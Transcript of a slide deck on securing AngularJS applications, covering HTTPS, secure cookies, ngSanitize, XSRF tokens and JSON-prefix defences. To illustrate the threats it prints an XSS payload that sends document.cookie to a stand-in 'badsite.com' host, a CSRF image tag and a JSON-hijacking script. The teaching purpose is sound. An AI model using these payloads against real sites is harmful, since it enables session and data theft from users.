secure my ng-app
DESCRIPTION
Secure your AngularJS Application in minimal approach :)TRANSCRIPT
Secure my ng-app!M A Hossain Tonu
<I want to>
AngularJS is a <battle> tank?
Wakeup!
It’s just a client side <framework>!
<head-scratching>
So what to do now?
Do <what> the whole world does!
<Follow> the security checklist
(basic)!
Basics to secure my ng app!
• Securing the server
• Prevent Man-in-the-middle
• Prevent XSS with NG Sanitize
• Prevent XSRF
• Prevent JSON Injection
Security is nothing but doing
right things in right way.
Securing the Server
Securing the Server
Authorization + Authentication
Authorization
Unauthorized access = HTTP 401
Authentication API
POST /login!
POST /register !
POST /logout !
GET /current-user
Preventing Cookie Snooping
<man-in-the- middle attacks>
HTTPS = Sanity
Http should not be hardcoded
angular!.module(‘app’)!.constant('NGCONF_CONFIG', !{! baseUrl: ‘/my-precious-url/‘,! dbName: 'ngconf'!});
<authentication cookie to HTTPS only>
httpOnly and secure options to true
<Prevent>
The XSS!
Example, at index.php
$name = $_GET['name'];!
echo "Welcome $name<br>";!
echo "<a href=“http://mythikthaksite.com/“>My profile</a>";
Example, at index.php
index.php?
name=guest<script>alert('attacked')</
script>
Example, at index.phpindex.php?name=<script>window.onload
= function() {var
link=document.getElementsByTagName(“
a");link[0].href="http://badsite.com/
xss?"+document.cookie;}</script>
Escaping is the
ultimate solution!
AngularJS expressions
ng-bind
{{curly braces}}
General defence against XSS!
$scope.msg = 'Hello, <b>World</b>!';
<p ng-bind="msg"></p>
<p>Hello, <b>World</b>!</p>
+
=
Display Markup?
$scope.msg = 'Hello, <b>World</b>!';
<p ng-bind-html-unsafe="msg"></p>
<p>Hello, <b>World</b>!</p>
+
=
Allow safe HTML tags
$scope.msg = 'Hello, <b>World</b>!';
<p ng-bind-html="msg"></p>
<p>Hello, <b>World</b>!</p>
+
=
ng-bind-html
• Sanitizes <script> and <style>
elements
• Sanitizes attributes that take URLs
such as href, src, and usemap.
ng-bind-html dependency
angular.module('expressionsEscaping', [‘ngSanitize'])!!
.controller('ExpressionsEscapingCtrl', function ($scope) {! $scope.msg = 'Hello, <b>World</b>!';! });!
$sanitize service
var safeDescription = $sanitize(description);
Preventing XSRF
Example, Follower Trap
http://my.loggedin.site.com/follow/USERNAME/
Meanwhile in an Evil Page!
<img
src=“http://my.loggedin.site.com/follow/USERNAME/“
width=“1”
height=“1”>
$http service comes in with a solution!
Solution!• Server sets a session cookie XSRF-TOKEN
• $http extracts this token
• $http attaches it as a header X-XSRF-TOKEN
• Token, auth cookie digest with added salt!
yummy!
JSON injection
vulnerability
Loggedin at goodsite!
http://goodsite.com/secret-info.json
[‘a’, ‘b', 'c']
Meanwhile in an Evil
Page!
<script type="text/javascript">!
var json;!
Array = function() { json = this;};!
</script>!
<script src=“http://goodsite.com/secret-info.json" type="text/javascript">!
<script type=“text/javascript"> !
for(var index in json) { console.log(json[index]); }!
</script>
Deliver Invalid JSON!
)]}',
[‘a’, ‘b', 'c']
$http service automatically
strips this prefix string
This is it?
Now implement
Your Own Security Patterns :)
Homework for Good kids
• Adding your own Security Service
• securityInterceptor Service
• Secure routes using Route Resolvers
Mastering Web Application
Development with AngularJS
References
• AngularJS Authentication Pattern
• Secure AngularJS
QA?
Who am I?
!
http://mahtonu.wordpress.com
Vantage Labs Dhaka
@mahtonu
Authored the title “PHP
Application Development with
NetBeans: Beginner's Guide”
http://link.packtpub.com/6HaElo